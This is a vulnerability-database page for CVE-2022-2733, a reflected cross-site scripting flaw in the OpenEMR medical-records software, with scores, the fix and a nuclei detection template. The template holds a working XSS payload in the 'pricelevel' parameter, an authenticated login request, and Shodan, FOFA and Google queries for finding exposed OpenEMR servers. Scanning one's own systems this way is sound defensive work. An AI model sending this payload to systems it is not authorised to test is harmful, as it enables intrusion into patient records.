HexBrain

Browse / CVEs / CVE-2022-2733

CVE-2022-2733· open-emr / openemr· CWE-79

Openemr < 7.0.0.1 - Cross-Site Scripting

mediumseverity
6.1CVSS score
95.9%likelihood of exploitation, next 30 days
100%of all CVEs are less likely
Readycheck to confirm it

Cross-site Scripting (XSS) - Reflected in GitHub repository openemr/openemr prior to 7.0.0.1.

Impact

Successful exploitation of this vulnerability could allow an attacker to execute malicious scripts in the context of the victim's browser, potentially leading to session hijacking, defacement, or theft of sensitive information.

Fix

Upgrade Openemr to version 7.0.0.1 or later to mitigate this vulnerability.

How to confirm it

Send: POST /interface/main/main_screen.php?auth=login&site=default ; GET /interface/forms/fee_sheet/review/fee_sheet_options_ajax.php?pricelevel=%3Cimg%20src=a%20onerror=alert(document.cookie)%3E
Positive when: contains "<img src=a onerror=alert(document.cookie)>" and "pricelevel" AND contains in header "text/html" AND status 200

Run it with nuclei: nuclei -id CVE-2022-2733 -u <target>

The full check
id: CVE-2022-2733

info:
  name: Openemr < 7.0.0.1 - Cross-Site Scripting
  author: ctflearner
  severity: medium
  description: |
    Cross-site Scripting (XSS) - Reflected in GitHub repository openemr/openemr prior to 7.0.0.1.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to execute malicious scripts in the context of the victim's browser, potentially leading to session hijacking, defacement, or theft of sensitive information.
  remediation: |
    Upgrade Openemr to version 7.0.0.1 or later to mitigate this vulnerability.
  reference:
    - https://huntr.dev/bounties/25b91301-dfb0-4353-a732-e051bbe8420c/
    - https://nvd.nist.gov/vuln/detail/CVE-2022-2733
    - https://github.com/openemr/openemr/commit/59458bc15ab0cb556c521de9d5187167d6f88945
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2022-2733
    cwe-id: CWE-79
    epss-score: 0.95859
    epss-percentile: 0.99874
    cpe: cpe:2.3:a:open-emr:openemr:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 2
    vendor: open-emr
    product: openemr
    shodan-query:
      - title:"OpenEMR"
      - http.html:"openemr"
      - http.title:"openemr"
      - http.favicon.hash:1971268439
    fofa-query:
      - icon_hash=1971268439
      - body="openemr"
      - title="openemr"
      - app="openemr"
    google-query: intitle:"openemr"
  tags: cve,cve2022,xss,openemr,authenticated,huntr,open-emr,vuln

http:
  - raw:
      - |
        POST /interface/main/main_screen.php?auth=login&site=default HTTP/1.1
        Host: {{Hostname}}
        Origin: {{RootURL}}
        Content-Type: application/x-www-form-urlencoded
        Referer: {{RootURL}}/interface/login/login.php?site=default

        new_login_session_management=1&languageChoice=1&authUser={{username}}&clearPass={{password}}&languageChoice=1
      - |
        GET /interface/forms/fee_sheet/review/fee_sheet_options_ajax.php?pricelevel=%3Cimg%20src=a%20onerror=alert(document.cookie)%3E HTTP/1.1
        Host: {{Hostname}}

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - '<img src=a onerror=alert(document.cookie)>'
          - 'pricelevel'
        condition: and

      - type: word
        part: header
        words:
          - text/html

      - type: status
        status:
          - 200

References

Use this check only on systems you are authorised to test. Where the data comes from